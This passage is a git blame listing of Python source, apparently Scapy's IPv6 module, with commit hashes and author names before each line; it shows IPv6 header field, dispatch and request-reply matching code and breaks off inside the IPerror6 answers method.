3225a64a524ad2b2b3e9d6ee03035e1d9aa52aef32fsachetmittal               60: "IPv6ExtHdrDestOpt" }
323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6ListField(StrField):
325b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["count_from", "length_from"]
326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    islist = 1
327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, count_from=None, length_from=None):
328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            default = []
330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.count_from = count_from
332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = length_from
333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 16*len(i)
336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
338d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
3480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        lst = []
3501186356a1d73fd59b700d8af05e789d0e8899de6gpotter        ret = b""
351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        remain = s
352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain,ret = s[:l],s[l:]
354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while remain:
355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
357c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET6, remain[:16])
360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            lst.append(addr)
361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[16:]
362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return remain+ret,lst
363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
3651186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for y in x:
367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += y
37377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return s
374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self,pkt,x):
376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = []
37777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if x == None:
37877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return "[]"
37977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        for y in x:
38077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            s.append('%s' % y)
381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "[ %s ]" % (", ".join(s))
3820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _IPv6GuessPayload:
384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy class that implements guess_payload_class() for IPv6"
385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def default_payload_class(self,p):
386b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon        if self.nh == 58: # ICMPv6
387b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            t = orb(p[0])
388505336e8b146b3f85ece8690f3a434f6a97dfe1fmtu            if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return _niquery_guesser(p)
3902bbd2905d8d464b3ac211f0f65d493663e0bbfb1gpotter            if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages
391b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                return get_cls(icmp6typescls.get(t,"Raw"), "Raw")
392b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            return Raw
393d5f51f6843ffa1d375e947a5cb03965b5291129dPierre LALET        elif self.nh == 135 and len(p) > 3: # Mobile IPv6
394b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic)
395b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        elif self.nh == 43 and orb(p[2]) == 4:  # Segment Routing header
39635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return IPv6ExtHdrSegmentRouting
39735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw")
398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6(_IPv6GuessPayload, Packet, IPTools):
400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6"
401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ BitField("version" , 6 , 4),
402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("tc", 0, 8), #TODO: IPv6, ByteField ?
40377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("fl", 0, 20),
40477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("plen", None),
405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("nh", 59, ipv6nh),
406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("hlim", 64),
407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    SourceIP6Field("src", "dst"), # dst is for src @ selection
408104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET                    DestIP6Field("dst", "::1") ]
409614f54fc4b269030ba2934b6c353fb43de886e04Phil
410614f54fc4b269030ba2934b6c353fb43de886e04Phil    def route(self):
411614f54fc4b269030ba2934b6c353fb43de886e04Phil        dst = self.dst
412614f54fc4b269030ba2934b6c353fb43de886e04Phil        if isinstance(dst,Gen):
413d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            dst = next(iter(dst))
414614f54fc4b269030ba2934b6c353fb43de886e04Phil        return conf.route6.route(dst)
415614f54fc4b269030ba2934b6c353fb43de886e04Phil
416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
417a3618a09887e39536009036d2e88341c61d4d385gpotter        return "%s > %s (%i)" % (self.src, self.dst, self.nh)
418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
42077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.plen is None:
422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = len(p) - 40
423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            p = p[:4]+struct.pack("!H", l)+p[6:]
424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.plen
428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l], s[l:]
429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6):
432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if self.payload.type < 128:
433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return self.payload.payload.hashret()
434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif (self.payload.type in [133,134,135,136,144,145]):
435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return struct.pack("B", self.nh)+self.payload.hashret()
436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
437db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6
438db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            return self.payload.hashret()
439db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet
44077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        nh = self.nh
441a3618a09887e39536009036d2e88341c61d4d385gpotter        sd = self.dst
442a3618a09887e39536009036d2e88341c61d4d385gpotter        ss = self.src
443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
4440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # With routing header, the destination is the last
4450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # address of the IPv6 list if segleft > 0
44677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            nh = self.payload.nh
44777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            try:
44877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = self.addresses[-1]
44977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            except IndexError:
45077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = '::1'
45177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6
45277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            #       could be anything from the original list ...
45377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if 1:
45477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_pton(socket.AF_INET6, sd)
45577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                for a in self.addresses:
45677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    a = inet_pton(socket.AF_INET6, a)
45777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    sd = strxor(sd, a)
45877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_ntop(socket.AF_INET6, sd)
459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
46035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):
46135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # With segment routing header (rh == 4), the destination is
46235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # the first address of the IPv6 addresses list
463f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            try:
464f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.addresses[0]
465f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            except IndexError:
466a3618a09887e39536009036d2e88341c61d4d385gpotter                sd = self.dst
467f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
4690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
4720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            foundhao = None
476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            for o in self.payload.options:
477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(o, HAO):
478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    foundhao = o
479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if foundhao:
480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                nh = self.payload.nh # XXX what if another extension follows ?
481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ss = foundhao.hoa
482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
483a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, sd)
485a3618a09887e39536009036d2e88341c61d4d385gpotter            ss = inet_pton(socket.AF_INET6, self.src)
486a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon            return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret()
487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return struct.pack("B", nh)+self.payload.hashret()
489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
491db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
492db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if self.nh in [4, 41]:
493db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.payload.answers(other)
494db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IPv6) and other.nh in [4, 41]:
495db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
496db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IP) and other.proto in [4, 41]:
497db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6): # self is reply, other is request
499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
5000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if conf.checkIPaddr:
501a3618a09887e39536009036d2e88341c61d4d385gpotter            ss = inet_pton(socket.AF_INET6, self.src)
502a3618a09887e39536009036d2e88341c61d4d385gpotter            sd = inet_pton(socket.AF_INET6, self.dst)
503a3618a09887e39536009036d2e88341c61d4d385gpotter            os = inet_pton(socket.AF_INET6, other.src)
504a3618a09887e39536009036d2e88341c61d4d385gpotter            od = inet_pton(socket.AF_INET6, other.dst)
50577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # request was sent to a multicast address (other.dst)
5060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # Check reply destination addr matches request source addr (i.e
507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # sd == os) except when reply is multicasted too
508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX test mcast scope matching ?
509a3618a09887e39536009036d2e88341c61d4d385gpotter            if in6_ismaddr(other.dst):
510a3618a09887e39536009036d2e88341c61d4d385gpotter                if in6_ismaddr(self.dst):
5110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    if ((od == sd) or
512a3618a09887e39536009036d2e88341c61d4d385gpotter                        (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):
513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                         return self.payload.answers(other.payload)
514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return False
5150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (os == sd):
516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return self.payload.answers(other.payload)
517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
5180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            elif (sd != os): # or ss != od): <- removed for ICMP errors
519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:
521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # ICMPv6 Error message -> generated by IPv6 packet
522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # Note : at the moment, we jump the ICMPv6 specific class
523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # to call answers() method of erroneous packet (over
524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # initial packet). There can be cases where an ICMPv6 error
525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # class could implement a specific answers method that perform
526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # a specific task. Currently, don't see any use ...
527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other)
528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
5290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
5310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting
53435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):
535f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting
536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload.payload)
538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance
539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload)
540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if (self.nh != other.nh):
542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload)
544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
545614f54fc4b269030ba2934b6c353fb43de886e04Phil
5461bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonclass _IPv46(IP):
5471bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5481bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    This class implements a dispatcher that is used to detect the IP version
5491bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    while parsing Raw IP pcap files.
5501bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5511bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    @classmethod
5521bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    def dispatch_hook(cls, _pkt=None, *_, **kargs):
5531bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        if _pkt:
554d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if orb(_pkt[0]) >> 4 == 6:
5551bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon                return IPv6
5561bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        elif kargs.get("version") == 6:
5571bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon            return IPv6
5581bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        return IP
5591bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5601bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5616a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadondef inet6_register_l3(l2, l3):
5626a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadon    return getmacbyip6(l3.dst)
5636a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadonconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
564614f54fc4b269030ba2934b6c353fb43de886e04Phil
565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPerror6(IPv6):
567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 in ICMPv6"
568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6):
570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
571a3618a09887e39536009036d2e88341c61d4d385gpotter        sd = inet_pton(socket.AF_INET6, self.dst)
572a3618a09887e39536009036d2e88341c61d4d385gpotter        ss = inet_pton(socket.AF_INET6, self.src)
573a3618a09887e39536009036d2e88341c61d4d385gpotter        od = inet_pton(socket.AF_INET6, other.dst)
574a3618a09887e39536009036d2e88341c61d4d385gpotter        os = inet_pton(socket.AF_INET6, other.src)
575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
57677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # Make sure that the ICMPv6 error is related to the packet scapy sent
57777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
5780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for self (possible citation)
580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            selfup = self.payload
581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                selfup = selfup.payload
583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for other (initial packet). Also look for RH
585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            otherup = other.payload
586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            request_has_rh = False
587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(otherup, IPv6ExtHdrRouting):
589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    request_has_rh = True
590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                otherup = otherup.payload
591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
5920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if ((ss == os and sd == od) or      # <- Basic case
5930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                (ss == os and request_has_rh)): # <- Request has a RH :
594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                #    don't check dst address
5950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
5960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                # Let's deal with possible MSS Clamping
5970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (isinstance(selfup, TCP) and
598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    isinstance(otherup, TCP) and
599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options != otherup.options): # seems clamped
600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    # Save fields modified by MSS clamping
602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_opts    = otherup.options
603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_cksum   = otherup.chksum
604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_dataofs = otherup.dataofs
605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_opts     = selfup.options
606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_cksum    = selfup.chksum
607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_dataofs  = selfup.dataofs
608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Nullify them
610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = []
611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = 0
612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = 0
613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = []
614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = 0
615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = 0
616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Test it and save result
6185e8857410015a93f6371459b2f870432ded39b9fgpotter                    s1 = raw(selfup)
6195e8857410015a93f6371459b2f870432ded39b9fgpotter                    s2 = raw(otherup)
620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    l = min(len(s1), len(s2))
621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    res = s1[:l] == s2[:l]
622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # recall saved values
624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = old_otherup_opts
625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = old_otherup_cksum
626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = old_otherup_dataofs
627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = old_selfup_opts
628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = old_selfup_cksum
